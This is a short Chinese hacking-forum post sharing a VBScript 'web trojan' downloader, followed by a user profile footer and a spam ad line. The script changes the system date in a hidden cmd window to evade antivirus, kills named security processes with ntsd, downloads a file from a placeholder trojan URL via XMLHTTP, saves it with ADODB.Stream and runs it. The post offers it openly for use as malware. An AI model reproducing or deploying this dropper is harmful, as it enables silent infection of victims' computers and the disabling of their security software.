初来报道写个菜菜的一个延时过主动防御网马
秒数代表正常日期几秒后改回,30代表30秒,延时的单位1000代表1秒
on error resume next
Set a = CreateObject("Wscript.Shell")
a.run "cmd /c set date=%date% &&date 1986-1-1 &&ping -n 秒数 127.0.0.1&&date %date%",vbhide
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if ps.Name="杀进程1" or ps.name="杀进程2" or ps.name="杀进程3如此类推" then
a.run "ntsd -c q -p ps.handle",0
end if:next
b = ("下载的马儿保存地址"):c = ("马儿地址")
wscript.sleep 延时
Set d = CreateObject("Microsoft.XMLHTTP")
d.Open "GET",c,0
d.Send()
Set e = CreateObject("ADODB.Stream")
e.Mode = 3
e.Type = 1
e.Open()
e.Write(d.responseBody)
e.SaveToFile b
a.run b
帖子9 精华0 积分31 阅读权限40 性别男 在线时间16 小时 注册时间2007-10-21 最后登录2008-7-22 查看详细资料TOP 让女孩一夜变的更有女人味